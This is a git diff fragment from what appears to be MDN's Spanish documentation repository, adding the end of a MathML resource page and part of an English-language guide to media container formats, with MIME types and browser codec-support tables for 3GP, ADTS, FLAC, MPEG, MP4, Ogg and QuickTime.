+ <dt><a href="/es/docs/Web/MathML/Examples" lang="es">Ejemplos de MathML</a></dt>
+ <dd>Muestras y ejemplos en MathML para ayudarte a comprender cómo funciona.</dd>
+ <dt><a href="/es/docs/Web/MathML/Authoring" lang="es">Creando MathML</a></dt>
+ <dd>Sugerencias y consejos al momento de escribir MathML, incluyendo editores de MathML sugeridos y cómo integrar sus productos a contenido Web.</dd>
+</dl>
+
+<p><a href="/es/docs/tag/MathML" lang="es">Ver todo lo etiquetado con MathML en español...</a></p>
+</div>
+
+<div class="section">
+<h2 id="Obteniendo_ayuda_de_la_comunidad">Obteniendo ayuda de la comunidad</h2>
+
+<ul>
+ <li>Ver los foros de Mozilla...<br>
+  {{ DiscussionList("dev-tech-mathml", "mozilla.dev.tech.mathml") }}</li>
+ <li><a href="irc://irc.mozilla.org/%23mathml" rel="external" title="#mathml">Canal IRC</a></li>
+ <li><a href="https://wiki.mozilla.org/MathML:Home_Page">Wiki usada por contribuyentes de Mozilla</a></li>
+ <li><a href="https://www.w3.org/Math/" title="http://www.w3.org">W3C Math Home</a></li>
+ <li><a href="https://lists.w3.org/Archives/Public/www-math/" title="http://lists.w3.org">www-math w3.org mail archive</a></li>
+</ul>
+
+<h2 id="Herramientas">Herramientas</h2>
+
+<ul>
+ <li><a href="https://validator.w3.org" title="http://validator.w3.org">Validador W3C</a></li>
+ <li><a href="https://addons.mozilla.org/en/firefox/addon/8969/">FireMath Firefox add-on</a></li>
+ <li><a href="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/">Mathzilla Firefox add-on collection</a></li>
+ <li><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> — Conversor Javascript de LaTeX a MathML (<a href="https://fred-wang.github.io/TeXZilla/" title="http://fred-wang.github.io">live demo</a>, <a href="https://r-gaia-cs.github.io/TeXZilla-webapp/" title="http://r-gaia-cs.github.io">Firefox OS webapp</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/texzilla/">add-on Firefox</a>, <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla">using in a Web Page, JS program etc</a>)</li>
+ <li><a href="http://dlmf.nist.gov/LaTeXML/" title="http://dlmf.nist.gov">LaTeXML</a> - Convierte documentos LaTeX a páginas web HTML+MathML</li>
+ <li><a href="http://webdemo.visionobjects.com/home.html#equation" title="http://webdemo.visionobjects.com">Web Equation</a> - Convierte ecuaciones manuscritas a MathML o LaTeX</li>
+ <li><a href="https://www.mathjax.org/" title="http://www.mathjax.org">MathJax</a> - Motor de representación matemática en JavaScript navegador-independientes. Para forzar MathJax a usar MathML nativo, prueba <a href="https://addons.mozilla.org/en-US/firefox/addon/mathjax-native-mathml/">este add-on Mozilla</a>, esta <a href="https://fred-wang.github.io/mathjax-native-mathml-safari/mathjax-native-mathml.safariextz" title="http://fred-wang.github.io">extensión Safari</a> o este <a href="https://openuserjs.org/scripts/fred.wang/MathJax_Native_MathML/">script en GreaseMonkey</a>.</li>
+</ul>
+
+<h2 id="Temas_relacionados">Temas relacionados</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS">CSS</a></li>
+ <li><a href="/en-US/docs/Web/HTML">HTML</a></li>
+ <li><a href="/en-US/docs/Web/SVG">SVG</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+
+
+<p>{{Compat("mathml.elements.math", 0)}}</p>
+
+<p>{{ HTML5ArticleTOC() }}</p>
diff --git a/files/es/web/media/formats/containers/index.html b/files/es/web/media/formats/containers/index.html
new file mode 100644
index 0000000000..2864534d67
--- /dev/null
+++ b/files/es/web/media/formats/containers/index.html
@@ -0,0 +1,1329 @@
+---
+title: Media container formats (file types)
+slug: Web/Media/Formats/Containers
+tags:
+  - Hugo javier duran miranda.
+translation_of: Web/Media/Formats/Containers
+---
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}</div>
+
+<p>The format of audio and video media files is defined in two parts (three if a file has both audio and video in it, of course): the audio and/or video codecs used and the media container format (or file type) used. <span class="seoSummary">In this guide, we'll look at the container formats used most commonly on the web, covering basics about their specifications as well as their benefits, limitations, and ideal use cases.</span></p>
+
+<p><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> does not use a container at all. Instead, it streams the encoded audio and video tracks directly from one peer to another using {{domxref("MediaStreamTrack")}} objects to represent each track. See <a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">Codecs used by WebRTC</a> for information about codecs commonly used for making WebRTC calls, as well as browser compatibility information around codec support in WebRTC.</p>
+
+<h2 id="Common_container_formats">Common container formats</h2>
+
+<p>While there are a vast number of media container formats, the ones listed below are the ones you are most likely to encounter. Some support only audio while others support both audio and video. The MIME types and extensions for each are listed.The most commonly used containers for media on the web are probably MPEG-4 (MP4), QuickTime Movie (MOV), and the Wavefile Audio File Format (WAV). However, you may also encounter MP3, Ogg, WebM, AVI, and other formats. Not all of these are broadly supported by browsers, however; some combinations of container and codec are sometimes given their own file extensions and MIME types as a matter of convenience, or because of their ubiquity. For example, an Ogg file with only an Opus audio track is sometimes referred to as an Opus file, and might even have the extension <code>.opus</code>. But it's still actually just an Ogg file.</p>
+
+<p>In other cases, a particular codec, stored in a certain container type, is so ubiquitous that the pairing is treated in a unique fashion. A good example of this is the MP3 audio file, which is in fact an MPEG-1 container with a single audio track encoded using MPEG-1 Audio Layer III encoding. These files use the <code>audio/mp3</code> MIME type and the <code>.mp3</code> extension, even though their containers are just MPEG.</p>
+
+<h3 id="Index_of_media_container_formats_file_types" style="font-size: 1.4em;">Index of media container formats (file types)</h3>
+
+<p>To learn more about a specific container format, find it in this list and click through to the details, which include information about what the container is typically useful for, what codecs it supports, and which browsers support it, among other specifics.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Codec name (short)</th>
+   <th scope="col">Full codec name</th>
+   <th scope="col">Browser compatibility<sup><a href="#index-foot-1">1</a></sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">{{anch("3GP")}}</th>
+   <td>Third Generation Partnership</td>
+   <td>Firefox for Android</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("ADTS")}}</th>
+   <td>Audio Data Transport Stream</td>
+   <td>Firefox<sup><a href="#index-foot-2">2</a></sup></td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("FLAC")}}</th>
+   <td>Free Lossless Audio Codec</td>
+   <td>Chrome 56, Edge 16, Firefox 51, Safari 11</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("MPEG", "MPEG / MPEG-2")}}</th>
+   <td>Moving Picture Experts Group (1 and 2)</td>
+   <td>—</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("MP4", "MPEG-4 (MP4)")}}</th>
+   <td>Moving Picture Experts Group 4</td>
+   <td>Chrome 3, Edge 12, Firefox, Internet Explorer 9, Opera 24, Safari 3.1</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("Ogg")}}</th>
+   <td>Ogg</td>
+   <td>Chrome 3, Firefox 3.5, Edge 17<sup><a href="#index-foot-3">3</a></sup> (desktop only), Internet Explorer 9, Opera 10.50</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("QuickTime", "QuickTime (MOV)")}}</th>
+   <td>Apple QuickTime movie</td>
+   <td>Only older versions of Safari, plus other browsers that supported Apple's QuickTime plugin</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("WebM")}}</th>
+   <td>Web Media</td>
+   <td>Chrome 6, Edge 17<sup><a href="#index-foot-3">3</a></sup> (desktop only), Firefox 4, Opera 10.6, Safari (WebRTC only)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="index-foot-1" name="index-foot-1">[1]</a> Unless otherwise specified, both mobile and desktop browser compatibility is implied if a browser is listed here. Support is also implied only for the container itself, not for any specific codecs.</p>
+
+<p><a id="index-foot-2" name="index-foot-2">[2]</a> Available only if available on the underlying operating system's media framework.</p>
+
+<p><a name="index-foot-3">[3]</a> Requires <a href="https://www.microsoft.com/store/productId/9N5TDP8VCMHS">Web Media Extensions</a> to be installed.</p>
+
+<h3 id="3GP">3GP</h3>
+
+<p>The <strong>3GP</strong> or <strong>3GPP</strong> media container is used to encapsulate audio and/or video that is specifically intended for transmission over cellular networks for consumption on mobile devices. The format was designed for use on 3G mobile phones, but can still be used on more modern phones and networks. However, the improved bandwidth availability and increased data caps on most networks has reduced the need for the 3GP format. However, this format is still used for slower networks and for lower-performance phones.</p>
+
+<p>This media container format is derived from the ISO Base Media File Format and MPEG-4, but is specifically streamlined for lower bandwidth scenarios.</p>
+
+<table class="standard-table">
+ <caption>Base 3GP media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/3gpp</code></td>
+   <td><code>video/3gpp</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/3gpp2</code></td>
+   <td><code>video/3gpp2</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/3gp2</code></td>
+   <td><code>video/3gp2</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>These MIME types are the fundamental types for the 3GP media container; other types may be used depending on the specific codec or codecs in use; in addition, you can <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF">add the <code>codecs</code> parameter</a> to the MIME type string to indicate which codecs are used for the audio and/or video tracks, and to optionally provide details about the profile, level, and/or other codec configuration specifics.</p>
+
+<table class="standard-table">
+ <caption>Video codecs supported by 3GP</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AVC (H.264)</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a>,<a href="#3gp-vid-footnote-1">2</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">H.263</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-4 Part 2 (MP4v-es)</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP8</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="3gp-vid-footnote-1" name="3gp-vid-footnote-1">[1]</a> Firefox only supports 3GP on <a href="https://www.khronos.org/openmax/">OpenMAX</a>-based devices, which currently means the Boot to Gecko (B2G) platform.</p>
+
+<p><a id="3gp-vid-footnote-2" name="3gp-vid-footnote-2">[2]</a> Firefox support for H.264 relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<table class="standard-table">
+ <caption>Audio codecs supported by 3GP</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AMR-NB</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AMR-WB</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AMR-WB+</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AAC-LC</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a>,<a href="#av1-vid-footnote-2">2</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">HE-AAC v1</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a>,<a href="#av1-vid-footnote-2">2</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">HE-AAC v2</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a>,<a href="#av1-vid-footnote-2">2</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MP3</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="3gp-aud-footnote-1" name="3gp-aud-footnote-1">[1]</a> Firefox only supports 3GP on <a href="https://www.khronos.org/openmax/">OpenMAX</a>-based devices, which currently means the Boot to Gecko (B2G) platform.</p>
+
+<p><a id="3gp-aud-footnote-2" name="3gp-aud-footnote-2">[2]</a> Firefox support for AAC relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<h3 id="ADTS">ADTS</h3>
+
+<p><strong>Audio Data Transport Stream</strong> (<strong>ADTS</strong>) is a container format specified by MPEG-4 Part 3 for audio data, intended to be used for streamed audio, such as for Internet radio. It is, essentially, an almost bare stream of AAC audio data, comprised of ADTS frames with a minimal header.</p>
+
+<table class="standard-table">
+ <caption>ADTS media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/aac</code><sup><a href="#adts-foot-1">[1]</a></sup></td>
+  </tr>
+  <tr>
+   <td><code>audio/mpeg</code><sup><a href="#adts-foot-1">[1]</a></sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="adts-foot-1" name="adts-foot-1">[1]</a> The MIME type used for ADTS depends on what kind of audio frames are contained within. If ADTS frames are used, the <code>audio/aac</code> MIME type should be used. If the audio frames are in MPEG-1/MPEG-2 Audio Layer I, II, or III format, the MIME type should be <code>audio/mpeg</code>.</p>
+
+<table class="standard-table">
+ <caption>Audio codecs supported by ADTS</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#adts-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MP3</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="adts-aud-footnote-1" name="adts-aud-footnote-1">[1]</a> Firefox support for AAC relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<h3 id="FLAC">FLAC</h3>
+
+<p>The <strong>Free Lossless Audio Codec</strong> (<strong>FLAC</strong>) is a lossless audio codec; there is also an associated simple container format, also called FLAC, that can contain this audio. The format is not encumbered by any patents, so its use is safe from interference. FLAC files can only contain FLAC audio data.</p>
+
+<table class="standard-table">
+ <caption>FLAC media MIME type</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/flac</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/x-flac</code> (non-standard)</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Audio codecs supported by FLAC</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">FLAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="MPEGMPEG-2"><a id="MPEG" name="MPEG">MPEG</a>/MPEG-2</h3>
+
+<p>The <strong>{{interwiki("wikipedia", "MPEG-1")}}</strong> and <strong>{{interwiki("wikipedia", "MPEG-2")}}</strong> file formats are essentially identical. Created by the Moving Picture Experts Group (MPEG), these formats are widely used in physical media, including as the format of the video on DVD media.</p>
+
+<p>On the internet, perhaps the most common use of the MPEG file format is to contain {{interwiki("wikipedia", "MPEG-1", "Layer_III/MP3", "MPEG-1 Audio Layer 3")}} sound data; the resulting files are the wildly popular MP3 file used by digital music devices around the world. Otherwise, MPEG-1 and MPEG-2 are not widely used in Web content.</p>
+
+<p>The main differences between MPEG-1 and MPEG-2 take place in the media data formats rather than the container format. MPEG-1 was introduced in 1992; MPEG-2 was introduced in 1996.</p>
+
+<table class="standard-table">
+ <caption>MPEG-1 and MPEG-2 media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/mpeg</code></td>
+   <td><code>video/mpeg</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Video codecs supported by MPEG-1 and MPEG-2</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">MPEG-1 Part 2</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-2 Part 2</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Audio codecs supported by MPEG-1 and MPEG-2</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer I</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer II</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="MPEG-4_MP4"><a id="MP4" name="MP4">MPEG-4 (MP4)</a></h3>
+
+<p><strong>{{interwiki("wikipedia", "MPEG-4")}}</strong> (<strong>MP4</strong>) is the latest version of the MPEG file format. There are two versions of the format, defined in parts 1 and 14 of the specification. MP4 is a popular container today, as it supports several of the most-used codecs and is broadly supported.</p>
+
+<p>The original MPEG-4 Part 1 file format was introduced in 1999; the version 2 format, defined in Part 14, was added in 2003. The MP4 file format is derived from the {{interwiki("wikipedia", "ISO base media file format")}}, which is directly derived from the {{interwiki("wikipedia", "QuickTime file format")}} developed by <a href="https://www.apple.com/">Apple</a>.</p>
+
+<p>When specifying the MPEG-4 media type (<code>audio/mp4</code> or <code>video/mp4</code>), you can <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF">add the <code>codecs</code> parameter</a> to the MIME type string to indicate which codecs are used for the audio and/or video tracks, and to optionally provide details about the profile, level, and/or other codec configuration specifics.</p>
+
+<table class="standard-table">
+ <caption>Base MPEG-4 media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/mp4</code></td>
+   <td><code>video/mp4</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>These MIME types are the fundamental types for the MPEG-4 media container; other MIME types may be used depending on the specific codec or codecs in use within the container. In addition, you can <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF">add the <code>codecs</code> parameter</a> to the MIME type string to indicate which codecs are used for the audio and/or video tracks, and to optionally provide details about the profile, level, and/or other codec configuration specifics.</p>
+
+<table class="standard-table">
+ <caption>Video codecs supported by MPEG-4</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AVC (H.264)</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#mp4-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AV1</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#mp4-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">H.263</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-4 Part 2 Visual</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP9</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="mp4-vid-footnote-1" name="mp4-vid-footnote-1">[1]</a> Firefox support for H.264 relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<p><a id="mp4-vid-footnote-2" name="mp4-vid-footnote-2">[2]</a> Firefox support for AV1 is currently disabled by default; it can be enabled by setting the preference <code>media.av1.enabled</code> to <code>true</code>.</p>
+
+<table class="standard-table">
+ <caption>Audio codecs supported by MPEG-4</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#mp4-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">FLAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Opus</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="mp4-aud-footnote-1" name="mp4-aud-footnote-1">[1]</a> Firefox support for H.264 relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<h3 id="Ogg">Ogg</h3>
+
+<p>The <strong>{{interwiki("wikipedia", "Ogg")}}</strong> container format is a free and open format maintained by the <a href="https://www.xiph.org/">Xiph.org Foundation</a>. The Ogg framework also defines patent unencumbered media data formats, such as the Theora video codec and the Vorbis and Opus audio codecs. <a href="https://xiph.org/ogg/">Xiph.org documents about the Ogg format</a> are available on their web site.</p>
+
+<p>While Ogg has been around for a long time, it has never gained the wide support needed to make it a good first choice for a media container. You are typically better off using WebM, though there are times when Ogg is useful to offer, such as when you wish to support older versions of Firefox and Chrome which don't yet support WebM. For example, Firefox 3.5 and 3.6 support Ogg, but not WebM.</p>
+
+<p>You can get more information about Ogg and its codecs in the <a href="http://en.flossmanuals.net/ogg-theora/">Theora Cookbook</a>.</p>
+
+<table class="standard-table">
+ <caption>Base Ogg media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/ogg</code></td>
+   <td><code>video/ogg</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The <code>application/ogg</code> MIME type can be used when you don't necessarily know whether the media contains audio or video. If at all possible, you should use one of the specific types, but fall back to <code>application/ogg</code> if you don't know the content format or formats.</p>
+
+<p>You can also <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#Ogg">add the <code>codecs</code> parameter</a> to the MIME type string to indicate which codecs are used for the audio and/or video tracks, and to optionally further describe the track media formats.</p>
+
+<table class="standard-table">
+ <caption>Video codecs supported by Ogg</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Theora</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP8</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP9</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Audio codecs supported by Ogg</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">FLAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Opus</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Vorbis</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="QuickTime">QuickTime</h3>
+
+<p>The <strong>QuickTime</strong> file format (<strong>QTFF</strong>, <strong>QT</strong>, or <strong>MOV</strong>) was created by Apple for use by its media framework of the same name. The extension for these files, <code>.mov</code>, comes from the fact that the format was initially used for movies and was usually called the "QuickTime movie" format. While QTFF served as the basis for the MPEG-4 file format, there are differences and the two are not quite interchangeable.</p>
+
+<p>QuickTime files support any sort of time-based data, including audio and video media, text tracks, and so forth. QuickTime files are primarily supported by macOS, but for a number of years, QuickTime for Windows was available to access them on Windows. However, QuickTime for Windows is no longer supported by Apple as of early 2016, and <em>should not be used</em>, as there are known security concerns. However, Windows Media Player now has integrated support for  QuickTime version 2.0 and earlier files; support for later versions of QuickTime requires third-party additions.</p>
+
+<p>On Mac OS, the QuickTime framework not only supported QuickTime format movie files and codecs, but supported a vast array of popular and specialty audio and video codecs, as well as still image formats. Through QuickTime, Mac applications (including web browsers, through the QuickTime plugin or direct QuickTime integration) were able to read and write audio formats including AAC, AIFF, MP3, PCM, and Qualcomm PureVoice; and video formats including AVI, DV, Pixlet, ProRes, FLAC, Cinepak, 3GP, H.261 through H.265, MJPEG, MPEG-1 and MPEG-4 Part 2, Sorenson, and many more.</p>
+
+<p>In addition, a number of third-party components are available for QuickTime, some of which add support for additional codecs.</p>
+
+<p>Because QuickTime support is, for all intents and purposes, primarily available on Apple devices, it is no longer widely used on the internet. Apple itself generally now uses MP4 for video. In addition, the QuickTime framework has been deprecated on the Mac for some time, and is no longer available at all starting in macOS 10.15 Catalina.</p>
+
+<table class="standard-table">
+ <caption>Base QuickTime media MIME type</caption>
+ <thead>
+  <tr>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>video/quicktime</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The <code>video/quicktime</code> MIME type is the fundamental type for the QuickTime media container. It's worth noting that QuickTime (the media framework on Mac operating systems) supports a wide variety of containers and codecs, so it actually supports many other MIME types.</p>
+
+<p>You can <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF">add the <code>codecs</code> parameter</a> to the MIME type string to indicate which codecs are used for the audio and/or video tracks, and to optionally provide details about the profile, level, and/or other codec configuration specifics.</p>
+
+<table class="standard-table">
+ <caption>Video codecs supported by QuickTime</caption>
+ <thead>
+  <tr>
